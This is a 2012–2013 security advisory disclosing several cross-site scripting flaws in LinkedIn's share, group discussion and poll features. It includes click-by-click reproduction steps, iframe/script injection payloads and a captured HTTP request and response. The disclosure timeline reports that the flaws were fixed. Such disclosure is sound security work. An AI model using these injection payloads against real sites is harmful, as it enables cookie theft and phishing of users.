============================================= INTERNET SECURITY AUDITORS ALERT 2012-003 - Original release date: 16th December 2012 - Last revised: 26th September 2013 - Discovered by: Eduardo Garcia Melia - Severity: 6.8/10 (CVSS Base Scored) ============================================= I. VULNERABILITY ------------------------- LinkedIn social network is affected by Multiple Reflected Cross-Site Scripting vulnerabilities. II. BACKGROUND ------------------------- LinkedIn is a social networking service and website(http://www.linkedin.com/) operates the world's largest professional network on the Internet with more than 187 million members in over 200 countries and territories. More Information: http://press.linkedin.com/about III. DESCRIPTION ------------------------- LinkedIn social network is affected by Multiple reflected Cross-Site Scripting vulnerabilities. An attacker can inject HTML or script code in the context of victim's browser, so can perform XSS attacks, and steal cookies of a targeted user. The affected resource is http://www.linkedin.com/home?trk=guest_home. IV. PROOF OF CONCEPT ------------------------- ============================= First XSS -> Corrected ============================= You can go to LinkedIn Home -> Shared an Update -> Attach Link. After attack link, you should edit this link, and put in the Title and Description field, the XSS injection, for example: + <h1>XSS TEST</h1> + <iframe src="javascript:alert(document.cookie);"></iframe> Finally, you should pulse "Preview" button, and then show you the injection. The vulnerability is in this code: <div class="share-content" id="share-content" data-entity-id="932308905" data-entity-url="http://www.URL.com"; data-has-photo="yes"> <h4 class="share-view-title" id="share-view-title">XSSINJECTION</h4> <p id="share-view-meta" class="meta"> URLTITLE </p> <p class="share-summary"> <span class="share-view-summary" id="share-view-summary">XSSINJECTION</span> <a href="#" id="share-edit-link">Edit</a> <script id="control-a9f0c4dd-2797-4750-9243-add575e00c08-2" type="linkedin/control" class="li-control"> /* extlib: _toggleclass */ LI.Controls.addControl('control-a9f0c4dd-2797-4750-9243-add575e00c08-2', 'ToggleClass', { classname: 'is-view-mode', on: '#share-preview', stopEvent: true }); </script> </p> </div> ============================= Second XSS ============================= You can go to LinkedIn Groups -> Groups you may like, and find some open group, for example "Test Analyst / Test Lead / Test Manager Networking". After, you can start Discussion, and put on the fields "Test" and "test" value and pulse "share" button. When the discussion is shared, show you "Your post has been submitted for review. You can view it here.", if you go to "here" link, you can edit your post and put, for example, this code: + <IFRAME SRC=# onmouseover="alert('XSS')"> Example REQUEST: POST /groupItem HTTP/1.1 Host: www.linkedin.com Origin: http://www.linkedin.com X-Requested-With: XMLHttpRequest Referer: http://www.linkedin.com/groups?displayMySubmitted=&gid=4041084&goback=%2Egmp_4041084 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: XXX editPendingItem=&csrfToken=ajax:8141336854842107468&item=PMOD_43011393&gid=4041084&ajax=true&goback=.gmp_4041084&content=<IFRAME SRC=# onmouseover="alert('XSS')">&detail=test& RESPONSE: HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Vary: Accept-Encoding Date: Mon, 04 Mar 2013 14:51:03 GMT X-FS-TXN-ID: 2adf39a79210 X-FS-UUID: c84a30f8753fe812d0841ff4322b0000 X-LI-UUID: yEow+HU/6BLQhB/0MisAAA== Age: 0 X-Content-Type-Options: nosniff X-XSS-Protection: 0 Set-Cookie: XXX {"abbreviatedContent":"<IFRAME SRC=# onmouseover=\"alert('XSS')\"> ...","editTimeLeftAsStr":"13 minutes left","statusCode":"0","updated":"true","editTimeLeftInSec":"791","item":"PMOD_43011393","origDetail":"test","isDetailAbbreviated":"false","origContent":"<IF RAME SRC=# onmouseover=\"alert('XSS')\">","isContentAbbreviated":"true","fullContent":"<IFRAME SRC=# onmouseover=\"alert ('XSS')\">","abbreviatedDetail":"test"} and then show you the injection. ============================= Third XSS ============================= You can go to LinkedIn Groups -> Create a Group, and create new group. After, you can start Discussion, and put on the fields, for example, this code: + <IFRAME SRC=# onmouseover="alert('XSS')"> Pulse "share" button and then show you the injection. =============== Fourth XSS =============== You can go to LinkedIn Groups -> Create a Group, and create new group. After, you can create a Poll, and put on the fields, for example, this code: + <IFRAME SRC=# onmouseover="alert('XSS')"> Pulse "share" button and then show you the injection. V. BUSINESS IMPACT ------------------------ This flaw can be used by a malicious user to send phishing to the linked in customers, abusing of the users trust on LinkedIn portal, tricking the user. This user can be forward to a LinkedIn clone site to stolen credentials, to some malicious site hosting malware and more. VI. SYSTEMS AFFECTED ------------------------- The vulnerability affects the LinkedIn network: http://www.linkedin.com https://touch.www.linkedin.com VII. SOLUTION ------------------------- Partially pending. VIII. REFERENCES ------------------------- http://www.linkedin.com http://www.isecauditors.com https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001) IX. CREDITS ------------------------- These vulnerabilities have been discovered by Eduardo Garcia Melia (egarcia (at) isecauditors (dot) com). X. REVISION HISTORY ------------------------- December 17, 2012: Initial release. January 20, 2013: Second revision. March 10, 2013: Third revision. September 26, 2013: Final release. XI. DISCLOSURE TIMELINE ------------------------- December 17, 2012: Vulnerability acquired by Eduardo Garcia Melia Internet Security Auditors (www.isecauditors.com). January 20, 2013: Second revision. Sent to LinkedIn Security Team. February 7, 2013: Response from Sec Team. Ask for resend. February 19, 2013: Send updated. February 26, 2013: Answer about it seems to be corrected. Possitively checked. March 10, 2013: Send updated with more XSS vulnerable resources. July 11, 2013: All XSS issues have been resolved. September 26, 2013: Sent to lists. XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information. XIII. ABOUT ------------------------- Internet Security Auditors is a Spain based leader in web application testing, network security, penetration testing, security compliance implementation and assessing. Our clients include some of the largest companies in areas such as finance, telecommunications, insurance, ITC, etc. We are vendor independent provider with a deep expertise since 2001. Our efforts in R&D include vulnerability research, open security project collaboration and whitepapers, presentations and security events participation and promotion. For further information regarding our security services, contact us. XIV. FOLLOW US ------------------------- You can follow Internet Security Auditors, news and security advisories at: https://www.facebook.com/ISecAuditors https://twitter.com/ISecAuditors http://www.linkedin.com/company/internet-security-auditors http://www.youtube.com/user/ISecAuditors
